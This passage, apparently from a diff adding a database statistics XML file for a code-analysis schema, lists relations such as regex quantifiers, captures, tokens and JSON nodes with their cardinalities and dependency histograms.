+<b> +<a>1</a> +<b>2</b> +<v>122</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>regexp</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>12</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>5</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>7</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>regexp</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>18</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>19</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>68</a> +<b>69</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>regexp</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>35</a> +<b>36</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_greedy</name> +<cardinality>2629</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>2629</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>isOptionalChaining</name> +<cardinality>100</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>100</v> +</e> +</columnsizes> +<dependencies/> +</relation> + +<relation> +<name>range_quantifier_lower_bound</name> +<cardinality>146</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>146</v> +</e> +<e> +<k>lo</k> +<v>11</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>lo</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>146</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>lo</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>20</a> +<b>21</b> +<v>1</v> +</b> +<b> +<a>28</a> +<b>29</b> +<v>1</v> +</b> +<b> +<a>33</a> +<b>34</b> +<v>1</v> +</b> +<b> +<a>35</a> +<b>36</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>range_quantifier_upper_bound</name> +<cardinality>45</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>45</v> +</e> +<e> +<k>hi</k> +<v>13</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>hi</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>45</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>hi</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_capture</name> +<cardinality>1280</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1280</v> +</e> +<e> +<k>number</k> +<v>14</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>number</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1280</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>number</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>55</a> +<b>56</b> +<v>1</v> +</b> +<b> +<a>108</a> +<b>109</b> +<v>1</v> +</b> +<b> +<a>276</a> +<b>277</b> +<v>1</v> +</b> +<b> +<a>774</a> +<b>775</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_named_capture</name> +<cardinality>1280</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1280</v> +</e> +<e> +<k>name</k> +<v>14</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1280</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>55</a> +<b>56</b> +<v>1</v> +</b> +<b> +<a>108</a> +<b>109</b> +<v>1</v> +</b> +<b> +<a>276</a> +<b>277</b> +<v>1</v> +</b> +<b> +<a>774</a> +<b>775</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_inverted</name> +<cardinality>458</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>458</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>regexp_const_value</name> +<cardinality>19032</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>19032</v> +</e> +<e> +<k>value</k> +<v>237</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19032</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>80</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>12</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>10</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>20</v> +</b> +<b> +<a>5</a> +<b>17</b> +<v>18</v> +</b> +<b> +<a>17</a> +<b>30</b> +<v>18</v> +</b> +<b> +<a>30</a> +<b>66</b> +<v>18</v> +</b> +<b> +<a>68</a> +<b>143</b> +<v>18</v> +</b> +<b> +<a>155</a> +<b>242</b> +<v>18</v> +</b> +<b> +<a>251</a> +<b>555</b> +<v>18</v> +</b> +<b> +<a>581</a> +<b>1013</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>char_class_escape</name> +<cardinality>1573</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1573</v> +</e> +<e> +<k>value</k> +<v>6</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1573</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>1</v> +</b> +<b> +<a>92</a> +<b>93</b> +<v>1</v> +</b> +<b> +<a>199</a> +<b>200</b> +<v>1</v> +</b> +<b> +<a>378</a> +<b>379</b> +<v>1</v> +</b> +<b> +<a>879</a> +<b>880</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>unicode_property_escapename</name> +<cardinality>1573</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1573</v> +</e> +<e> +<k>name</k> +<v>6</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1573</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>1</v> +</b> +<b> +<a>92</a> +<b>93</b> +<v>1</v> +</b> +<b> +<a>199</a> +<b>200</b> +<v>1</v> +</b> +<b> +<a>378</a> +<b>379</b> +<v>1</v> +</b> +<b> +<a>879</a> +<b>880</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>unicode_property_escapevalue</name> +<cardinality>1573</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1573</v> +</e> +<e> +<k>value</k> +<v>6</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1573</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>1</v> +</b> +<b> +<a>92</a> +<b>93</b> +<v>1</v> +</b> +<b> +<a>199</a> +<b>200</b> +<v>1</v> +</b> +<b> +<a>378</a> +<b>379</b> +<v>1</v> +</b> +<b> +<a>879</a> +<b>880</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>backref</name> +<cardinality>11</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>11</v> +</e> +<e> +<k>value</k> +<v>4</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>named_backref</name> +<cardinality>11</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>11</v> +</e> +<e> +<k>name</k> +<v>4</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>tokeninfo</name> +<key>id</key> +<cardinality>8770869</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>8770869</v> +</e> +<e> +<k>kind</k> +<v>9</v> +</e> +<e> +<k>toplevel</k> +<v>5312</v> +</e> +<e> +<k>idx</k> +<v>1581031</v> +</e> +<e> +<k>value</k> +<v>234179</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8770869</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8770869</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8770869</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8770869</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2773</a> +<b>2774</b> +<v>1</v> +</b> +<b> +<a>5312</a> +<b>5313</b> +<v>1</v> +</b> +<b> +<a>15526</a> +<b>15527</b> +<v>1</v> +</b> +<b> +<a>31654</a> +<b>31655</b> +<v>1</v> +</b> +<b> +<a>269555</a> +<b>269556</b> +<v>1</v> +</b> +<b> +<a>551767</a> +<b>551768</b> +<v>1</v> +</b> +<b> +<a>557620</a> +<b>557621</b> +<v>1</v> +</b> +<b> +<a>2268328</a> +<b>2268329</b> +<v>1</v> +</b> +<b> +<a>5068334</a> +<b>5068335</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>471</a> +<b>472</b> +<v>1</v> +</b> +<b> +<a>2204</a> +<b>2205</b> +<v>1</v> +</b> +<b> +<a>2851</a> +<b>2852</b> +<v>1</v> +</b> +<b> +<a>3204</a> +<b>3205</b> +<v>1</v> +</b> +<b> +<a>5089</a> +<b>5090</b> +<v>1</v> +</b> +<b> +<a>5219</a> +<b>5220</b> +<v>1</v> +</b> +<b> +<a>5294</a> +<b>5295</b> +<v>1</v> +</b> +<b> +<a>5300</a> +<b>5301</b> +<v>1</v> +</b> +<b> +<a>5312</a> +<b>5313</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1949</a> +<b>1950</b> +<v>1</v> +</b> +<b> +<a>2130</a> +<b>2131</b> +<v>1</v> +</b> +<b> +<a>8409</a> +<b>8410</b> +<v>1</v> +</b> +<b> +<a>12883</a> +<b>12884</b> +<v>1</v> +</b> +<b> +<a>51181</a> +<b>51182</b> +<v>1</v> +</b> +<b> +<a>130388</a> +<b>130389</b> +<v>1</v> +</b> +<b> +<a>409369</a> +<b>409370</b> +<v>1</v> +</b> +<b> +<a>583910</a> +<b>583911</b> +<v>1</v> +</b> +<b> +<a>1104589</a> +<b>1104590</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>34</a> +<b>35</b> +<v>1</v> +</b> +<b> +<a>52</a> +<b>53</b> +<v>1</v> +</b> +<b> +<a>1596</a> +<b>1597</b> +<v>1</v> +</b> +<b> +<a>59827</a> +<b>59828</b> +<v>1</v> +</b> +<b> +<a>85214</a> +<b>85215</b> +<v>1</v> +</b> +<b> +<a>87463</a> +<b>87464</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>45</b> +<v>403</v> +</b> +<b> +<a>45</a> +<b>95</b> +<v>408</v> +</b> +<b> +<a>95</a> +<b>149</b> +<v>399</v> +</b> +<b> +<a>149</a> +<b>212</b> +<v>408</v> +</b> +<b> +<a>212</a> +<b>291</b> +<v>405</v> +</b> +<b> +<a>291</a> +<b>362</b> +<v>399</v> +</b> +<b> +<a>362</a> +<b>461</b> +<v>401</v> +</b> +<b> +<a>461</a> +<b>585</b> +<v>399</v> +</b> +<b> +<a>585</a> +<b>756</b> +<v>399</v> +</b> +<b> +<a>756</a> +<b>1013</b> +<v>399</v> +</b> +<b> +<a>1013</a> +<b>1389</b> +<v>399</v> +</b> +<b> +<a>1389</a> +<b>2313</b> +<v>400</v> +</b> +<b> +<a>2320</a> +<b>6681</b> +<v>399</v> +</b> +<b> +<a>6717</a> +<b>1581032</b> +<v>94</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>174</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1046</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1326</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1279</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1214</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>273</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>45</b> +<v>403</v> +</b> +<b> +<a>45</a> +<b>95</b> +<v>408</v> +</b> +<b> +<a>95</a> +<b>149</b> +<v>399</v> +</b> +<b> +<a>149</a> +<b>212</b> +<v>408</v> +</b> +<b> +<a>212</a> +<b>291</b> +<v>405</v> +</b> +<b> +<a>291</a> +<b>362</b> +<v>399</v> +</b> +<b> +<a>362</a> +<b>461</b> +<v>401</v> +</b> +<b> +<a>461</a> +<b>585</b> +<v>399</v> +</b> +<b> +<a>585</a> +<b>756</b> +<v>399</v> +</b> +<b> +<a>756</a> +<b>1013</b> +<v>399</v> +</b> +<b> +<a>1013</a> +<b>1389</b> +<v>399</v> +</b> +<b> +<a>1389</a> +<b>2313</b> +<v>400</v> +</b> +<b> +<a>2320</a> +<b>6681</b> +<v>399</v> +</b> +<b> +<a>6717</a> +<b>1581032</b> +<v>94</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>21</b> +<v>423</v> +</b> +<b> +<a>21</a> +<b>33</b> +<v>416</v> +</b> +<b> +<a>33</a> +<b>44</b> +<v>424</v> +</b> +<b> +<a>44</a> +<b>55</b> +<v>400</v> +</b> +<b> +<a>55</a> +<b>65</b> +<v>426</v> +</b> +<b> +<a>65</a> +<b>76</b> +<v>407</v> +</b> +<b> +<a>76</a> +<b>88</b> +<v>426</v> +</b> +<b> +<a>88</a> +<b>102</b> +<v>402</v> +</b> +<b> +<a>102</a> +<b>120</b> +<v>405</v> +</b> +<b> +<a>120</a> +<b>144</b> +<v>401</v> +</b> +<b> +<a>144</a> +<b>180</b> +<v>400</v> +</b> +<b> +<a>180</a> +<b>260</b> +<v>400</v> +</b> +<b> +<a>260</a> +<b>46630</b> +<v>382</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1083847</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>166188</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>136823</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>123495</v> +</b> +<b> +<a>9</a> +<b>5313</b> +<v>70678</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1175018</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>207984</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>120754</v> +</b> +<b> +<a>4</a> +<b>10</b> +<v>77275</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1083847</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>166188</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>136823</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>123495</v> +</b> +<b> +<a>9</a> +<b>5313</b> +<v>70678</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1089271</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>165753</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>104658</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>145624</v> +</b> +<b> +<a>8</a> +<b>1449</b> +<v>75725</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104636</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>47235</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>20077</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>16835</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>19608</v> +</b> +<b> +<a>9</a> +<b>34</b> +<v>17687</v> +</b> +<b> +<a>34</a> +<b>789848</b> +<v>8101</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>234168</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>174552</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>34819</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>18537</v> +</b> +<b> +<a>8</a> +<b>5313</b> +<v>6271</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>105969</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>47057</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>19986</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>16682</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>19402</v> +</b> +<b> +<a>9</a> +<b>36</b> +<v>17686</v> +</b> +<b> +<a>36</a> +<b>347359</b> +<v>7397</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>next_token</name> +<cardinality>104943</cardinality> +<columnsizes> +<e> +<k>comment</k> +<v>104943</v> +</e> +<e> +<k>token</k> +<v>74457</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>comment</src> +<trg>token</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104943</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>token</src> +<trg>comment</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>59983</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8628</v> +</b> +<b> +<a>3</a> +<b>12</b> +<v>5601</v> +</b> +<b> +<a>12</a> +<b>141</b> +<v>245</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>json</name> +<key>id</key> +<cardinality>1643352</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1643352</v> +</e> +<e> +<k>kind</k> +<v>6</v> +</e> +<e> +<k>parent</k> +<v>617634</v> +</e> +<e> +<k>idx</k> +<v>159429</v> +</e> +<e> +<k>tostring</k> +<v>768907</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1643352</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1643352</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1643352</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1643352</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>24</a> +<b>25</b> +<v>1</v> +</b> +<b> +<a>654</a> +<b>655</b> +<v>1</v> +</b> +<b> +<a>175925</a> +<b>175926</b> +<v>1</v> +</b> +<b> +<a>273113</a> +<b>273114</b> +<v>1</v> +</b> +<b> +<a>441281</a> +<b>441282</b> +<v>1</v> +</b> +<b> +<a>752355</a> +<b>752356</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>411</a> +<b>412</b> +<v>1</v> +</b> +<b> +<a>165183</a> +<b>165184</b> +<v>1</v> +</b> +<b> +<a>167132</a> +<b>167133</b> +<v>1</v> +</b> +<b> +<a>271547</a> +<b>271548</b> +<v>1</v> +</b> +<b> +<a>452264</a> +<b>452265</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>65</a> +<b>66</b> +<v>1</v> +</b> +<b> +<a>152</a> +<b>153</b> +<v>1</v> +</b> +<b> +<a>174</a> +<b>175</b> +<v>1</v> +</b> +<b> +<a>198</a> +<b>199</b> +<v>1</v> +</b> +<b> +<a>159429</a> +<b>159430</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>2865</a> +<b>2866</b> +<v>1</v> +</b> +<b> +<a>100735</a> +<b>100736</b> +<v>1</v> +</b> +<b> +<a>271467</a> +<b>271468</b> +<v>1</v> +</b> +<b> +<a>393837</a> +<b>393838</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>127476</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>184044</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>285109</v> +</b> +<b> +<a>4</a> +<b>159430</b> +<v>21005</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>179808</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>437119</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>707</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>127476</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>184044</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>285109</v> +</b> +<b> +<a>4</a> +<b>159430</b> +<v>21005</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>173483</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>197229</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>240036</v> +</b> +<b> +<a>4</a> +<b>135127</b> +<v>6886</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>158929</v> +</b> +<b> +<a>3</a> +<b>617635</b> +<v>500</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> 